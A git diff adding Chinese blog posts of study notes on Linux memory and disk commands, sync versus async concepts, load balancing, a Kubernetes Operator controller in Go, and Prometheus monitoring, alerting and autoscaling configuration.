+locate +``` + +搜索⽂件命令,find 直接搜索磁盘,较慢。 + +```shell +df -hl +``` + +Linux查看内存的使用情况 +ChatGPT +在Linux系统中,有多种方法可以用来查看内存使用情况: + +free 命令 +free命令是最简单和最常用的查看内存使用情况的命令。 + +bash +Copy code +free -h +这里,-h选项表示以人类可读的格式(如G、M)显示输出。 + +输出示例: + +```shell + total used free shared buff/cache available +Mem: 7.7Gi 1.1Gi 5.3Gi 647Mi 1.3Gi 6.0Gi +Swap: 2.0Gi 128Mi 1.9Gi +/proc/meminfo 文件 +``` +也可以直接查看 /proc/meminfo 文件以获取详细的内存使用信息。 + +```shell +cat /proc/meminfo +``` +输出会包括物理内存、交换内存、缓存等多方面的详细信息。 + +vmstat 命令 +vmstat命令也可以用来查看内存使用情况,以及其他系统资源的使用情况。 + +```shell +vmstat +``` +top 和 htop 命令 +top命令提供了一个实时更新的视图,展示当前系统中各个进程的资源使用情况,包括内存。 + +```shell +top +htop是top的一个更先进的替代品,提供了更多的信息和更好的交互界面。 +``` + +```shell +htop +``` +如果的系统没有预安装htop,可以使用包管理器(如apt、yum或brew等)来安装。 + +sar 命令 +sar命令可以用来查看系统资源的历史和实时使用情况,包括CPU、内存、I/O等。 + +```shell +sar -r +``` +这些只是查看Linux系统内存使用情况的几种方法。根据的具体需求,可能会选择使用其中的一种或多种方法。 + +显示磁盘的使用空间 + +```shell +文件系统 容量 已用 可用 已用% 挂载点 +udev 7.7G 0 7.7G 0% /dev +tmpfs 1.6G 2.3M 1.6G 1% /run +/dev/nvme0n1p7 175G 91G 76G 55% / +tmpfs 7.7G 511M 7.2G 7% /dev/shm +tmpfs 5.0M 4.0K 5.0M 1% /run/lock +tmpfs 7.7G 0 7.7G 0% /sys/fs/cgroup +/dev/loop0 128K 128K 0 100% /snap/bare/5 +/dev/loop2 56M 56M 0 100% /snap/core18/2667 +/dev/loop1 56M 56M 0 100% /snap/core18/2654 +/dev/loop3 64M 64M 0 100% /snap/core20/1738 +/dev/loop5 92M 92M 0 100% /snap/gtk-common-themes/1535 +/dev/loop4 219M 219M 0 100% /snap/gnome-3-34-1804/77 +/dev/loop6 188M 188M 0 100% /snap/postman/183 +/dev/loop7 347M 347M 0 100% /snap/gnome-3-38-2004/115 +/dev/loop10 50M 50M 0 100% /snap/snapd/17883 +/dev/loop11 111M 111M 0 100% /snap/qv2ray/4576 +/dev/loop12 46M 46M 0 100% /snap/snap-store/599 +/dev/loop16 219M 219M 0 100% /snap/gnome-3-34-1804/72 +/dev/loop14 82M 82M 0 100% /snap/gtk-common-themes/1534 +/dev/loop13 347M 347M 0 100% /snap/gnome-3-38-2004/119 +/dev/loop9 189M 189M 0 100% /snap/postman/184 +/dev/loop8 46M 46M 0 100% /snap/snap-store/638 +/dev/loop15 165M 165M 0 100% /snap/gnome-3-28-1804/161 +/dev/loop17 64M 64M 0 100% /snap/core20/1778 +/dev/nvme0n1p6 944M 176M 703M 21% /boot +/dev/nvme0n1p8 75G 31G 41G 44% /home +/dev/nvme0n1p1 96M 50M 47M 52% /boot/efi +tmpfs 1.6G 60K 1.6G 1% /run/user/1000 + +``` + +df命令:该命令用于显示文件系统的磁盘空间使用情况。 +```text +df -h +该命令会显示文件系统的磁盘使用情况,包括磁盘总容量、已使用容量、可用容量和挂载点等信息。其中,-h选项会以人类可读的格式显示磁盘使用情况。 +``` + +```text +du命令:该命令用于显示指定目录或文件的磁盘空间使用情况。 +du -sh /path/to/directory +该命令会显示指定目录或文件的磁盘使用情况,包括磁盘总容量、已使用容量和文件数等信息。其中,-s选项会只显示总容量,-h选项会以人类可读的格式显示磁盘使用情况。 +``` + +```text +lsblk命令:该命令用于显示块设备的信息,包括磁盘、分区、挂载点等信息。 +lsblk +该命令会显示块设备的信息,包括设备名称、磁盘容量、分区信息、挂载点等。可以通过查看挂载点来确定文件系统的磁盘使用情况。 +``` + +```shell +go env +``` + +查看 go 的环境 + +```shell +compgen -c +``` + +知道当前系统⽀持的所有命令的列表 + +```shell +$ whatis cat +cat (1) - concatenate files and print on the standard output +``` +查看⼀个 linux 命令的概要与⽤法. + + +> 问题: 请解释Linux操作系统的基本组成部分。 + +答案: Linux操作系统的基本组成部分包括: + +内核(Kernel):Linux操作系统的核心,负责管理系统资源和硬件。 +Shell:命令行界面,允许用户与系统进行交互。 +文件系统(File System):用于组织和管理文件、目录和硬盘分区。 +用户空间(User Space):包含各种应用程序、服务和库文件。 + +问题: 请列举至少五个常用的Linux命令及其功能。 +答案: + +ls: 列出目录内容。 +cd: 更改当前工作目录。 +cp: 复制文件或目录。 +rm: 删除文件或目录。 +grep: 在文件中搜索指定的文本。 +问题: 什么是inode?它有什么作用? + +答案: inode(索引节点)是Linux文件系统中的一种数据结构,用于表示文件或目录。每个inode都包含了文件或目录的元数据,如所有者、权限、大小、修改时间等。inode还包含指向文件数据块的指针,以便于访问和管理文件内容。 + +问题: 如何查看系统中正在运行的进程? + +答案: 可以使用ps命令或top命令查看系统中正在运行的进程。ps命令会显示当前用户的进程,而top命令会实时更新并显示所有用户的进程信息。 + +> 问题: 请解释软链接和硬链接的区别。 + +答案: +软链接(Symbolic Link):类似于Windows中的快捷方式,是一个指向另一个文件或目录的特殊文件。如果原始文件被删除,软链接将无法访问。 +硬链接(Hard Link):是一个指向文件数据的inode的引用。硬链接与原始文件共享相同的inode和数据,因此,即使原始文件被删除,硬链接仍然可以访问文件内容 + + + +> 问题: 什么是Cron?如何使用Cron来安排定时任务? + +答案: Cron是一个Linux系统中的时间基准作业调度程序,用于安排定时任务。用户可以创建Crontab文件,其中包含要定期执行的任务及其执行计划。要编辑当前用户的Crontab文件,请使用命令crontab -e。Cron表达式由五个字段组成,分别表示分钟、小时、月份的天数、月份和星期几。例如,要每天早上6点运行脚本/home/user/example.sh,可以在Crontab文件中添加以下行:0 6 * * * /home/user/example.sh。 + + +## 2. 异步和⾮阻塞 + +异步和⾮阻塞的区别: + +> 异步:调用发出之后,这个调用就直接的返回。不管又没有结果。异步是过程。 +> ⾮阻塞:关注的是程序在等待调用结果时的状态。指的是不能立刻得到结果的时候,这个调用能不能阻塞当前的线程。 + +同步和异步的区别: + +> 同步:一个服务 A 依赖服务 B,服务 A 等待服务 B 完成后才算完成。这是⼀种可靠的服务序列。要么成功都成功,失败都失败,服务的状态可以保持⼀致 +> 异步:一个服务 A 依赖服务 B,服务 A 只是通知服务 B 去执行,服务 A 就算完成。被依赖的服务是否最终完成⽆法确定,⼀次它是⼀个不可靠的服务序列。 + +消息通知中的同步和异步: + +> 同步:当一个同步调用发出后,调⽤者要⼀直等待返回消息(或者调⽤结果)通知后,才能进⾏后续的执⾏。 +> 异步:当⼀个异步过程调⽤发出后,调⽤者不能⽴刻得到返回消息(结果)在调⽤结束之后,通过消息回调来通知调⽤者是否调⽤成功。 + +阻塞与⾮阻塞的区别: + +> 阻塞:阻塞是指不能立即得到得到某个执行函数的调用结果,那么该线程的状态是被刮起的,一直在等待该得执行函数的调用结果,不能继续向下执行其他的业务,直到得到调用结果之后,才能继续往下面执行。 +> ⾮阻塞:⾮阻塞指的是该线程在不能立即得到某个执行函数的执行结果之前,该线程可以继续向下执行,指在不能⽴刻得到结果之前,该函数不会阻塞当前线程,该函数而是会⽴刻返回。 + +阻塞、同步、异步、⾮阻塞它们是之间的关系? + +> 阻塞是同步机制的结果 +> 非阻塞是异步机制的结果 +> 同步与异步是对应的,它们是线程之间的关系,两个线程之间要么是同步的,要么是异步的。 +> 阻塞与⾮阻塞是对同⼀个线程来说的,在某个时刻,线程要么处于阻塞,要么处于⾮阻塞。 + +## 3. 负载均衡 + +### 3.1 负载均衡算法 + +- Round Robin(轮询):为第⼀个请求选择列表中的第⼀个服务器,然后按顺序向下移动列表直到结尾,然 + 后循环。 +- Least Connections(最⼩连接):优先选择连接数最少的服务器,在普遍会话较⻓的情况下推荐使⽤。 +- Source:根据请求源的 IP 的散列(hash)来选择要转发的服务器。这种⽅式可以⼀定程度上保证特定⽤户能连接到相同的服务器。 + +负载均衡器如何选择要转发的后端服务器? + +> 阶段 1:确保选择的服务器是健康的。根据预先配置的规则,从健康的服务器池中间选择。 +> 阶段 2:定期的使用转发规则定义的协议和端口去连接后端的服务器,判断后端服务器是否健康。如果,服务器⽆法通过健康检查,就会从池中剔除,保证流量不会被转发到该服务器,直到其再次通过健康检查为⽌。 diff --git a/_posts/2023-9-24-test-markdown.md b/_posts/2023-9-24-test-markdown.md new file mode 100644 index 000000000000..ea089cca8abd --- /dev/null +++ b/_posts/2023-9-24-test-markdown.md @@ -0,0 +1,123 @@ +--- +layout: post +title: Kubernetes的Operator机制 +subtitle: +tags: [Kubernetes] +--- + +以下是如何为假设的数据库应用程序定义自定义资源定义 (CRD) 和控制器的简单示例: + +为数据库定义自定义资源定义 (CRD): +```yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + name: databases.app.example.com +spec: + group: app.example.com + versions: + - name: v1 + served: true + storage: true + schema: + openAPIV3Schema: + type: object + properties: + spec: + type: object + properties: + size: + type: integer + version: + type: string + scope: Namespaced + names: + plural: databases + singular: database + kind: Database +``` + +```go +package database + +import ( + appv1 "github.com/example-inc/app-operator/pkg/apis/app/v1" + corev1 "k8s.io/api/core/v1" + metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" + "k8s.io/apimachinery/pkg/runtime" + "sigs.k8s.io/controller-runtime/pkg/client" + "sigs.k8s.io/controller-runtime/pkg/controller" + "sigs.k8s.io/controller-runtime/pkg/handler" + logf "sigs.k8s.io/controller-runtime/pkg/log" + "sigs.k8s.io/controller-runtime/pkg/manager" + "sigs.k8s.io/controller-runtime/pkg/reconcile" + "sigs.k8s.io/controller-runtime/pkg/source" +) + +var log = logf.Log.WithName("controller_database") + +// Add creates a new Database Controller and adds it to the Manager. The Manager will set fields on the Controller +// and Start it when the Manager is Started. +func Add(mgr manager.Manager) error { + return add(mgr, newReconciler(mgr)) +} + +// newReconciler returns a new reconcile.Reconciler +func newReconciler(mgr manager.Manager) reconcile.Reconciler { + return &ReconcileDatabase{client: mgr.GetClient(), scheme: mgr.GetScheme()} +} + +// add adds a new Controller to mgr with r as the reconcile.Reconciler +func add(mgr manager.Manager, r reconcile.Reconciler) error { + // Create a new controller + c, err := controller.New("database-controller", mgr, controller.Options{Reconciler: r}) + if err != nil { + return err + } + + // Watch for changes to primary resource Database + err = c.Watch(&source.Kind{Type: &appv1.Database{}}, &handler.EnqueueRequestForObject{}) + if err != nil { + return err + } + + return nil +} + +// blank assignment to verify that ReconcileDatabase implements reconcile.Reconciler +var _ reconcile.Reconciler = &ReconcileDatabase{} + +// ReconcileDatabase reconciles a Database object +type ReconcileDatabase struct { + // This client, initialized using mgr.Client() above, is a split client + // that reads objects from the cache and writes to the apiserver + client client.Client + scheme *runtime.Scheme +} + +// Reconcile reads that state of the cluster for a Database object and makes changes based on the state read +// and what is in the Database.Spec +func (r *ReconcileDatabase) Reconcile(request reconcile.Request) (reconcile.Result, error) { + reqLogger := log.WithValues("Request.Namespace", request.Namespace, "Request.Name", request.Name) + reqLogger.Info("Reconciling Database") + + // Fetch the Database instance + instance := &appv1.Database{} + err := r.client.Get(context.TODO(), request.NamespacedName, instance) + if err != nil { + if errors.IsNotFound(err) { + // Request object not found, could have been deleted after reconcile request. + // Owned objects are automatically garbage collected. For additional cleanup logic use finalizers. + // Return and don't requeue + return reconcile.Result{}, nil + } + // Error reading the object - requeue the request. + return reconcile.Result{}, err + } + + // TODO: Add your reconciliation logic here! + + return reconcile.Result{}, nil +} +``` +在此示例中,该Reconcile函数将包含用于管理数据库应用程序的逻辑,例如根据规范创建或更新资源Database、处理备份等。 diff --git a/_posts/2023-9-25-test-markdown.md b/_posts/2023-9-25-test-markdown.md new file mode 100644 index 000000000000..58282361bc9a --- /dev/null +++ b/_posts/2023-9-25-test-markdown.md @@ -0,0 +1,1071 @@ +--- +layout: post +title: Prometheus 实践 +subtitle: +tags: [Prometheus] +--- + +# 1.基于Prometheus的业务指标弹性伸缩 +Prometheus是一个开源的监控和警报工具,它可以收集和存储时间序列数据。这些数据可以是任何可以在时间上变化的度量,例如服务器的CPU使用率,或者业务指标,例如每分钟的交易数量。 + +基于Prometheus的业务指标弹性伸缩通常涉及以下步骤: + +首先,需要在应用程序中集成Prometheus客户端库,以便可以收集和暴露出业务指标。然后需要配置Prometheus服务器以抓取这些指标。 +最后,使用这些指标来配置弹性伸缩规则。例如,您可以使用Kubernetes的Horizontal Pod Autoscaler(HPA),并配置它以使用Prometheus指标。 + +### 集成PrometheusClient 输出业务指标 +Prometheus提供了多种语言的客户端库,包括Go,Java,Python,Ruby等。您可以在您的应用程序中使用这些库来定义和暴露出业务指标。 + +一般来说,这涉及以下步骤: + +- 需要在应用程序中导入Prometheus客户端库。 +- 创建一个或多个Counter,Gauge,Histogram或Summary对象。 +- 最后,您需要在应用程序中更新这些指标,并通过Prometheus客户端库的HTTP服务器暴露出这些指标。 + + +### 抓取业务指标的两种方式 +Prometheus有多种方法可以抓取指标,但最常见的两种方法是使用PodMonitor和ServiceMonitor。 + +##### PodMonitor + +PodMonitor:PodMonitor是一种Kubernetes自定义资源(CRD),它定义了Prometheus如何从Kubernetes Pod中抓取指标。当创建一个PodMonitor时,Prometheus Operator会自动更新Prometheus的配置,以便它开始抓取匹配PodMonitor定义的Pod的指标。 + +```yaml +apiVersion: monitoring.coreos.com/v1 +kind: PodMonitor +metadata: + name: example-podmonitor + namespace: monitoring +spec: + podMetricsEndpoints: + - interval: 30s + path: /metrics + port: web + selector: + matchLabels: + app: example-app + +``` +在这个例子中,我们定义了一个名为example-podmonitor的PodMonitor对象。它配置Prometheus每30秒从/metrics路径上的web端口抓取指标。这个PodMonitor对象将会选择所有带有标签app: example-app的Pod进行监控。这就意味着,如果有一个或多个Pod,它们的标签是app: example-app,并且在web端口上提供了/metrics路径,那么Prometheus就会自动开始从这些Pod中抓取指标 + +> 这个Yaml文件中的内容并不直接定义Prometheus,而是定义了一个PodMonitor对象。PodMonitor是Prometheus Operator提供的一个自定义资源(Custom Resource Definition,CRD)。Prometheus Operator是一个在Kubernetes上运行的组件,它的作用是自动化Prometheus的部署和配置。 + +> 在这个Yaml文件中,我们定义了一个PodMonitor对象,名为example-podmonitor。这个对象的作用是告诉Prometheus Operator,我们希望Prometheus能够从哪些Pod中抓取指标。具体来说,我们希望Prometheus能够从标签为app: example-app的Pod中,通过web端口上的/metrics路径,每30秒抓取一次指标。 + +> 当Prometheus Operator看到这个PodMonitor对象后,它会自动更新Prometheus的配置,使得Prometheus开始按照PodMonitor的定义从相应的Pod中抓取指标。这就是为什么这个Yaml文件中没有直接出现Prometheus的定义,但是它仍然能够影响Prometheus的行为。 + +> Prometheus Operator并不是Kubernetes集群的内置组件,需要手动在的Kubernetes集群中安装和配置Prometheus Operator。 + +> Prometheus Operator是一个开源项目,由CoreOS(现在是Red Hat的一部分)开发,用于简化Prometheus在Kubernetes上的部署和管理。它提供了一种声明式的方法来定义和管理Prometheus和Alertmanager实例,以及与之相关的监控资源,如ServiceMonitor和PodMonitor + +##### 在Kubernetes集群中安装Prometheus Operator + +**使用Helm chart** + +Helm是Kubernetes的一个包管理器,可以让使用预定义的"chart"(包含了一组Kubernetes资源的定义)来部署应用。要使用Helm来安装Prometheus Operator,可以按照以下步骤操作: + +- 首先,需要在的机器上安装Helm。可以从Helm的官方网站下载安装包,或者使用包管理器(如apt或yum)来安装。 +- 然后,可以添加Prometheus Operator的Helm repository。- 这通常可以通过运行helm repo add prometheus-community https://prometheus-community.github.io/helm-charts来完成。 +- 最后,可以使用helm install命令来安装Prometheus Operator。例如,可以运行helm install my-release prometheus-community/kube-prometheus-stack来安装Prometheus Operator。 + +**使用OperatorHub.io** + +OperatorHub.io是一个提供各种Kubernetes Operator的市场。要使用OperatorHub.io来安装Prometheus Operator,可以按照以下步骤操作: + +- 首先,需要访问OperatorHub.io的网站,并在搜索框中输入"Prometheus Operator"。 +- 在搜索结果中,找到Prometheus Operator,并点击进入详情页面。 +- 在详情页面,可以找到安装指南。通常,这会包括一个可以用来安装Prometheus Operator的YAML文件,以及一些额外的配置步骤。 + +**直接使用YAML文件** + +如果更喜欢手动的方式,也可以直接使用YAML文件来安装Prometheus Operator。这通常涉及以下步骤: + +首先,需要从Prometheus Operator的GitHub仓库下载YAML文件。这通常可以在仓库的"bundle.yaml"文件中找到。 +然后,可以使用kubectl apply -f bundle.yaml命令来应用这个YAML文件,从而在的Kubernetes集群中创建Prometheus Operator。 + +> https://prometheus-community.github.io/helm-charts/ + +##### ServeiceMonitor + +ServiceMonitor:ServiceMonitor也是一种Kubernetes自定义资源,它定义了Prometheus如何从Kubernetes Service中抓取指标。当创建一个ServiceMonitor时,Prometheus Operator也会自动更新Prometheus的配置,以便它开始抓取匹配ServiceMonitor定义的Service的指标。 + +```yaml +apiVersion: monitoring.coreos.com/v1 +kind: ServiceMonitor +metadata: + name: example-app + labels: + team: frontend +spec: + selector: + matchLabels: + app: example-app + endpoints: + - port: web + +``` +在这个例子中,我们创建了一个名为example-app的ServiceMonitor。这个ServiceMonitor的目标是匹配标签为app: example-app的所有服务。 + +在spec.endpoints部分,我们定义了Prometheus应该从哪个端口(在这个例子中是web)抓取指标。 + +当这个ServiceMonitor被创建时,Prometheus Operator会自动更新Prometheus的配置,以便它开始抓取匹配ServiceMonitor定义的Service的指标。这就意味着,Prometheus现在会自动开始从标签为app: example-app的所有服务的web端口抓取指标 + + +### 业务指标报警和多渠道通知 + +Prometheus的报警和通知功能分为两部分:PrometheusServer中的报警规则和Alertmanager。报警规则在PrometheusServer中定义,当满足某些条件时,Prometheus会向Alertmanager发送报警。然后,Alertmanager管理这些报警,包括静音、抑制、聚合,并通过各种方式(如电子邮件、值班通知系统、聊天平台等)发送通知。 + +##### 为业务指标配置告警策略 +在Prometheus中,可以创建报警规则来定义何时应该触发报警。这些规则通常在Prometheus的配置文件中定义,或者在单独的规则文件中定义。 + +一个报警规则的例子可能如下所示: +```yaml +groups: +- name: example + rules: + - alert: HighRequestLatency + expr: job:request_latency_seconds:mean5m{job="myjob"} > 0.5 + for: 10m + labels: + severity: page + annotations: + summary: High request latency + +``` +在这个例子中,如果名为myjob的任务在过去5分钟的平均请求延迟超过0.5秒,并且这种情况持续了10分钟,那么就会触发一个名为HighRequestLatency的报警。 + +##### 自定义渠道通知集成 +Prometheus的Alertmanager组件负责处理由Prometheus服务器发送的报警,并将报警通知发送到预配置的接收器。Alertmanager支持多种通知方式,包括电子邮件、PagerDuty、OpsGenie、Slack、Webhook等。 +可以在Alertmanager的配置文件中定义接收器和路由规则。例如,以下的配置定义了一个Slack接收器: +```yaml +receivers: +- name: 'slack-notifications' + slack_configs: + - send_resolved: true + text: "{{ .CommonAnnotations.description }}" + title: "{{ .CommonAnnotations.summary }}" + api_url: 'https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX' + +``` + +在这个例子中,所有的报警都会发送到指定的Slack Webhook URL。 + +### K8s自定义弹性伸缩扩容 + +##### 基于Prometheus自定义指标的弹性伸缩 +Prometheus 是一个开源的监控和警报工具,它可以收集和存储各种类型的时间序列数据。在 Kubernetes 中,可以使用 Prometheus 自定义指标进行弹性伸缩。以下是实现步骤: + +> 1.安装并配置 Prometheus 以收集需要的指标 + +Prometheus 的配置是通过一个 YAML 文件进行的。这个文件定义了 Prometheus 应该从哪些目标收集指标,以及如何处理这些指标。以下是一个简单的配置文件示例: +```yaml +global: + scrape_interval: 15s + evaluation_interval: 15s + +scrape_configs: + - job_name: 'prometheus' + static_configs: + - targets: ['localhost:9090'] + +``` + +> 2.使用 Prometheus Adapter 将 Prometheus 指标暴露给 Kubernetes API。 + +Prometheus Adapter 是一个 Kubernetes 的自定义 API 服务器,它可以将 Prometheus 指标暴露给 Kubernetes API。可以使用 Helm 或其他 Kubernetes 包管理器来安装 Prometheus Adapter。以下是使用 Helm 安装 Prometheus Adapter 的一个例子: + +```shell +helm install stable/prometheus-adapter --name prometheus-adapter --namespace prometheus +``` + +> 3.创建一个 HorizontalPodAutoscaler 对象,该对象使用的自定义指标作为伸缩的依据。 +```yaml +apiVersion: autoscaling/v2beta2 +kind: HorizontalPodAutoscaler +metadata: + name: example +spec: + scaleTargetRef: + apiVersion: apps/v1 + kind: Deployment + name: example + minReplicas: 1 + maxReplicas: 10 + metrics: + - type: Pods + pods: + metric: + name: my_custom_metric + target: + type: AverageValue + averageValue: 500m +``` +HorizontalPodAutoscaler 是 Kubernetes 的一个资源,它可以根据 CPU 利用率或自定义指标自动调整 Pod 的数量。以下是一个使用自定义指标的 HorizontalPodAutoscaler 的例子: +在这个例子中,HorizontalPodAutoscaler 将会根据名为 my_custom_metric 的自定义指标来调整 example Deployment 的 Pod 数量。如果每个 Pod 的 my_custom_metric 的平均值超过 500m,那么 Pod 的数量将会增加;如果平均值低于 500m,那么 Pod 的数量将会减少。 + +##### 基于事件驱动的弹性伸缩 + +事件驱动的弹性伸缩是指根据系统中发生的事件(如队列长度超过阈值、特定错误的出现频率等)来动态调整 Pod 的数量。这通常需要使用到 Kubernetes 的自定义资源定义(CRD)和自定义控制器。以下是实现步骤: + + +> 1.定义一个 CRD 来表示的事件。 + +```yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + # name must match the spec fields below, and be in the form: . + name: crontabs.stable.example.com +spec: + # group name to use for REST API: /apis// + group: stable.example.com + # list of versions supported by this CustomResourceDefinition + versions: + - name: v1 + # Each version can be enabled/disabled by Served flag. + served: true + # One and only one version must be marked as the storage version. + storage: true + schema: + openAPIV3Schema: + type: object + properties: + spec: + type: object + properties: + cronSpec: + type: string + image: + type: string + replicas: + type: integer + # either Namespaced or Cluster + scope: Namespaced + names: + # plural name to be used in the URL: /apis/// + plural: crontabs + # singular name to be used as an alias on the CLI and for display + singular: crontab + # kind is normally the CamelCased singular type. Your resource manifests use this. + kind: CronTab + # shortNames allow shorter string to match your resource on the CLI + shortNames: + - ct + +``` + +> 2.创建 CRD + +```shell +kubectl apply -f +``` +> 3.验证CRD的创建 + +```shell +kubectl get crds +``` +命令来查看所有的 CRD。应该能在列表中看到刚刚创建的 CRD。 + +> 4.定义控制器的行为 + +需要定义控制器应该如何响应的自定义资源的变化。这通常涉及到编写一些代码,这些代码会监视的自定义资源,并在资源发生变化时执行相应的操作。 + +```go +type CronJobReconciler struct { + client.Client + Scheme *runtime.Scheme +} +``` +定义了一个控制器,它是 CronJobReconciler 结构体,这个控制器的行为主要在 Reconcile 方法中定义。Reconcile 方法会在 Kubernetes API 中的 CronJob 对象发生变化时被调用。 + +> 5.创建控制器 + +一旦定义了控制器的行为,就可以创建控制器了。在 Kubernetes 中,控制器通常是一个运行在 Pod 中的程序,这个程序会持续运行并监视的自定义资源。可以使用各种语言和框架来创建控制器,包括 Go、Java、Python 等。有一些库和工具可以帮助创建控制器,例如 Operator SDK、Kubebuilder、Metacontroller 等。 + +以下是使用 Go 和 Kubebuilder 创建控制器的一个例子。这个例子是基于上面的的 CronTab CRD。 + +- 首先,需要安装 Go 和 Kubebuilder。然后,可以创建一个新的 Kubebuilder 项目,并在其中添加的 CRD。 + +```shell +go mod init cronjob +kubebuilder init --domain example.com +kubebuilder create api --group batch --version v1 --kind CronJob +``` +这将创建一个新的 CronJob 控制器。可以在 controllers/cronjob_controller.go 文件中找到它。 + +- 接下来,需要实现控制器的逻辑。这通常包括读取的 CRD,然后根据 CRD 的状态做出相应的操作。以下是一个简单的例子 + +```go +package controllers + +import ( + "context" + "k8s.io/apimachinery/pkg/api/errors" + "k8s.io/apimachinery/pkg/runtime" + ctrl "sigs.k8s.io/controller-runtime" + "sigs.k8s.io/controller-runtime/pkg/client" + + batchv1 "cronjob/api/v1" +) + +// CronJobReconciler reconciles a CronJob object +type CronJobReconciler struct { + client.Client + Scheme *runtime.Scheme +} + +//+kubebuilder:rbac:groups=batch.tutorial.kubebuilder.io,resources=cronjobs,verbs=get;list;watch;create;update;patch;delete +//+kubebuilder:rbac:groups=batch.tutorial.kubebuilder.io,resources=cronjobs/status,verbs=get;update;patch +//+kubebuilder:rbac:groups=batch.tutorial.kubebuilder.io,resources=cronjobs/finalizers,verbs=update + +func (r *CronJobReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) { + _ = r.Log.WithValues("cronjob", req.NamespacedName) + + // your logic here + var cronJob batchv1.CronJob + if err := r.Get(ctx, req.NamespacedName, &cronJob); err != nil { + if errors.IsNotFound(err) { + // Object not found, return. Created objects are automatically garbage collected. + // For additional cleanup logic use finalizers. + return ctrl.Result{}, nil + } + + // Error reading the object - requeue the request. + return ctrl.Result{}, err + } + + // TODO: Do something with the CronJob + + return ctrl.Result{}, nil +} + +func (r *CronJobReconciler) SetupWithManager(mgr ctrl.Manager) error { + return ctrl.NewControllerManagedBy(mgr). + For(&batchv1.CronJob{}). + Complete(r) +} + +``` +在这个例子中,Reconcile 方法会在 Kubernetes API 中的 CronJob 对象发生变化时被调用。可以在这个方法中添加的业务逻辑。SetupWithManager 方法告诉 controller-runtime 库的控制器需要监视哪些资源。在的例子中,的控制器将监视 CronJob 对象的变化。 + +> 6.创建Dockerfile + +```text +# Use the official Golang image to create a build artifact. +# This is based on Debian and sets the GOPATH to /go. +# https://hub.docker.com/_/golang +FROM golang:1.13 as builder + +# Copy local code to the container image. +WORKDIR /go/src/github.com/your/project +COPY . . + +# Build the command inside the container. +RUN CGO_ENABLED=0 GOOS=linux go build -v -o my-controller + +# Use a Docker multi-stage build to create a lean production image. +# https://docs.docker.com/develop/develop-images/multistage-build/#use-multi-stage-builds +FROM alpine:3 +RUN apk add --no-cache ca-certificates + +# Copy the binary to the production image from the builder stage. +COPY --from=builder /go/src/github.com/your/project/my-controller /my-controller + +# Run the web service on container startup. +CMD ["/my-controller"] + +``` + +> 构建 Docker 镜像 + +```shell +docker build -t my-controller:latest . +``` +> 镜像推送到 Docker registry + +```shell +docker tag my-controller:latest yourusername/my-controller:latest +docker push yourusername/my-controller:latest +``` + +> 在 Kubernetes 中创建一个 Deployment 来运行的控制器。 + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: my-controller +spec: + replicas: 1 + selector: + matchLabels: + app: my-controller + template: + metadata: + labels: + app: my-controller + spec: + containers: + - name: my-controller + image: yourusername/my-controller:latest + +``` +> 6.创建Deployment + +```shell +kubectl apply -f deployment.yaml +``` +创建自定义控制器可能需要对 Kubernetes 的内部工作原理有深入的理解,包括资源、控制器、API 服务器等 + + +###### CRON定时伸缩 +在 Kubernetes 中,CronJob 是一种工作负载资源,它可以按照预定的时间表启动 Job。Job 是一种短暂的、一次性的任务,它会启动一个或多个 Pod 来执行任务,并在任务完成后停止。CronJob 的工作方式类似于 Unix 系统中的 crontab 文件,它可以按照 Cron 格式的时间表定期运行任务。 + +CronJob 本质上是一个定时任务调度器,它按照预定的时间表(schedule)启动 Job。每个 Job 对应一个或多个 Pod,这些 Pod 会执行指定的任务,然后退出。当任务完成或失败后,Job 会保持一个记录,可以查看这个记录来了解任务的执行情况。 + +CronJob 在 Kubernetes 中扮演的角色主要有以下几点: + +定时任务:CronJob 可以用来执行定时任务,例如每天凌晨备份数据库、每小时生成报告等。 + +周期性任务:CronJob 也可以用来执行周期性任务,例如每5分钟检查系统的健康状态、每30分钟清理临时文件等。 + +自动伸缩:CronJob 还可以用来实现基于时间的自动伸缩。例如,可以创建一个 CronJob,在每天的高峰时段自动增加 Pod 的数量,然后在低峰时段自动减少 Pod 的数量。 + +工作流管理:CronJob 可以用来管理复杂的工作流。例如,可以创建一个 CronJob,它按照预定的时间表启动一个 Job,这个 Job 会启动一个 Pod,这个 Pod 会依次执行一系列的任务 + +以下是一个 CronJob 的示例,它每分钟打印当前时间和一条问候消息: + +```yaml +apiVersion: batch/v1 +kind: CronJob +metadata: + name: hello +spec: + schedule: "* * * * *" + jobTemplate: + spec: + template: + spec: + containers: + - name: hello + image: busybox:1.28 + imagePullPolicy: IfNotPresent + command: + - /bin/sh + - -c + - date; echo Hello from the Kubernetes cluster + restartPolicy: On + +``` +在这个示例中,CronJob 的名称是 "hello",它的时间表是 "* * * * *",这意味着它会在每分钟的开始时启动一个 Job。Job 的任务是启动一个 Pod,Pod 中的容器运行 busybox:1.28 镜像,并执行一个命令来打印当前时间和一条问候消息。 + +如果想在特定的时间(例如每天的特定时间)自动调整 Pod 的数量,可以创建一个类似的 CronJob。这个 CronJob 的 Job 会启动一个 Pod,这个 Pod 的任务是调整其他 Deployment 或 StatefulSet 的 Pod 数量。可以通过修改 Pod 的命令来实现这个功能。例如,可以使用 kubectl 命令来调整 Deployment 的 Pod 数量: + +```shell +kubectl scale deployment my-deployment --replicas=3 +``` +可以将这个命令放入到 Pod 的命令中,这样当 Pod 启动时,它就会执行这个命令,从而调整 Deployment 的 Pod 数量。 + +> CRON 定时伸缩是指在特定的时间(如每天的特定时间)自动调整 Pod 的数量。这可以通过 Kubernetes 的 CronJob 资源来实现。以下是实现步骤:创建一个 CronJob,该 Job 在特定的时间启动一个 Pod。这个 Pod 的任务是调整其他 Deployment 或 StatefulSet 的 Pod 数量。 + +> CronJob 是 Kubernetes 的一种资源类型,它是由 Kubernetes 的控制平面(control plane)中的一个组件,名为 kube-controller-manager 的组件来管理的。kube-controller-manager 运行在 Kubernetes 集群的 master 节点上,它包含了多个内置的控制器,其中就包括 CronJob 控制器。 + +> CronJob 控制器负责监视和管理所有的 CronJob 资源。当到达 CronJob 定义的调度时间时,CronJob 控制器会创建一个 Job 来执行任务。这个 Job 会被 Kubernetes 的调度器(Scheduler)调度到合适的工作节点(Worker Node)上运行。 + +> 在 Kubernetes 中,除了 